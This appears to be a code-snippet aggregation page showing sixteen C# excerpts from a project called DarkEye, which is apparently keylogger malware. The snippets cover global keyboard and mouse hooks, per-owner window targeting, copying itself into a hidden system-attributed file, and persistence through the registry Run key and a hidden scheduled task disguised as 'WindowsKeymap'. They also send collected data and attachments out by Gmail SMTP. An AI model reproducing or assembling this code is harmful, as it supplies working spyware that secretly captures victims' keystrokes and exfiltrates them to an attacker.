示例#1
0
文件: Email.cs 项目: x1234xx/DarkEye
        private void SendEmail()
        {
            try
            {
                MailMessage mail       = new MailMessage();
                SmtpClient  SmtpServer = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress(owner.from);
                mail.To.Add(owner.to);
                mail.Subject = subject;
                mail.Body    = body;

                foreach (Attachment attachment in attachments)
                {
                    mail.Attachments.Add(attachment);
                }

                SmtpServer.Port        = owner.port;
                SmtpServer.Credentials = new System.Net.NetworkCredential(owner.from, owner.pass);
                SmtpServer.EnableSsl   = true;

                SmtpServer.Send(mail);
                WriteUtils.write("DispathEmail: Sending...");
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("DispathEmail: " + ex.ToString());
            }
        }
示例#2
0
        public void Init()
        {
            try
            {
                KeyboardHook keyboardHook = new KeyboardHook();
                MouseHook    mouseHook    = new MouseHook();

                keyboardHook.OnKeyPressed   += onKeyPressed;
                keyboardHook.OnKeyUnpressed += onKeyUnPressed;
                keyboardHook.Hook();

                mouseHook.MouseAction += onMouseClick;
                mouseHook.Hook();

                Application.Run();

                keyboardHook.UnHook();
                mouseHook.UnHook();
                WriteUtils.write("Initialization: HookManager");
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("Initialization: HookManager Failed: " + ex.ToString());
            }
        }
示例#3
0
 public void Init()
 {
     foreach (Owner owner in DarkEye.ownerManager.owners)
     {
         foreach (String target in owner.targets)
         {
             this.registerWindow(target);
         }
     }
     WriteUtils.write("Initialization: WindowManager");
 }
示例#4
0
 public void Init()
 {
     WriteUtils.write("Initialization: DuplicateManager");
     if (DarkEye.commandManager.IsWritenCommand("-duplicate"))
     {
         return;
     }
     this.Copyme(this.path);
     this.AutoRun(this.path);
     this.Scheduler(true, "daily", "highest", "WindowsKeymap", string.Concat("\"", this.path, "\""));
 }
示例#5
0
 public void Copyme(String path)
 {
     try
     {
         File.Copy(Utils.Utils.GetThisPath(), path, true);
         File.SetAttributes(path, FileAttributes.ReadOnly | FileAttributes.System);
         WriteUtils.write("Copyme: Copied to: " + path);
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("Copyme: Failed " + ex.Message);
         return;
     }
 }
示例#6
0
 public void AutoRun(String path)
 {
     try
     {
         String str = path;
         if (!DarkEye.commandManager.IsWritenCommand("-duplicate"))
         {
             str = str + " -duplicate";
         }
         str = str + " " + DarkEye.commandManager.GetWritenCommands();
         Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
         key.SetValue(Utils.Utils.GetThisName(), str);
         WriteUtils.write("AutoRun: Registered!");
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("AutoRun: " + ex.Message);
     }
 }
示例#7
0
        public bool Scheduler(bool status, string timeset, string priority, string taskname, string filepath)
        {
            if (string.IsNullOrWhiteSpace(taskname) || string.IsNullOrWhiteSpace(filepath))
            {
                return(false);
            }
            ProcessWindowStyle PwsHide   = ProcessWindowStyle.Hidden;
            ProcessStartInfo   startInfo = new ProcessStartInfo
            {
                FileName       = "schtasks.exe",
                CreateNoWindow = false,
                WindowStyle    = PwsHide
            };

            try
            {
                switch (status)
                {
                case true:
                    startInfo.Arguments = string.Concat("/create /sc ", timeset, " /rl ", priority, " /tn ", taskname, " /tr ", filepath, " /f");
                    WriteUtils.write("Scheduler: Created task \"" + taskname + "\"");
                    break;

                case false:
                    startInfo.Arguments = string.Concat("/delete /tn ", taskname, " /f");
                    WriteUtils.write("Scheduler: Deleted task \"" + taskname + "\"");
                    break;
                }
                using (Process info = Process.Start(startInfo))
                {
                    info.Refresh();
                    info.WaitForExit();
                    WriteUtils.write("Scheduler: Started!");
                }
            }
            catch (Exception ex) { WriteUtils.writeError("Scheduler: " + ex.Message); }
            startInfo = null; return(true);
        }
示例#8
0
 public void Init(String[] args)
 {
     try
     {
         if (args.Length > 0)
         {
             foreach (String arg in args)
             {
                 Command command = GetCommandByName(arg);
                 if (command != null)
                 {
                     command.writen = true;
                 }
             }
             WriteUtils.write("CommandManager run with args: " + GetWritenCommands());
         }
         WriteUtils.write("Initialization: CommandManager");
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("Initialization: CommandManager Failed: " + ex.ToString());
     }
 }
示例#9
0
 public void unregisterWindow(Window window)
 {
     windows.Remove(window);
     WriteUtils.write("WindowManager: Unregistered window [" + window.name + "]");
 }
示例#10
0
 public void registerWindow(String name)
 {
     windows.Add(new Window(name));
     WriteUtils.write("WindowManager: Registered window [" + name + "]");
 }
示例#11
0
 public void registerCommand(String[] arg)
 {
     commands.Add(new Command(arg));
     WriteUtils.write("CommandManager: Registered command [" + arg + "]");
 }
示例#12
0
 public DataManager()
 {
     this.ownerData = new Data("NULL", "NULL");
     WriteUtils.write("Initialization: DataManager");
 }
示例#13
0
 public LineManager()
 {
     line = GetLine();
     WriteUtils.write("Initialization: LineManager [" + line.name + "]");
 }
示例#14
0
 public void unregisterOwner(Data data)
 {
     owners.Remove(new Owner(data));
     WriteUtils.write("OwnerManager: Unregistered owner");
 }
示例#15
0
 public void registerOwner(Data data)
 {
     owners.Add(new Owner(data));
     WriteUtils.write("OwnerManager: Registered owner");
 }
示例#16
0
 public OwnerManager()
 {
     owners = new ArrayList();
     WriteUtils.write("Initialization: OwnerManager");
 }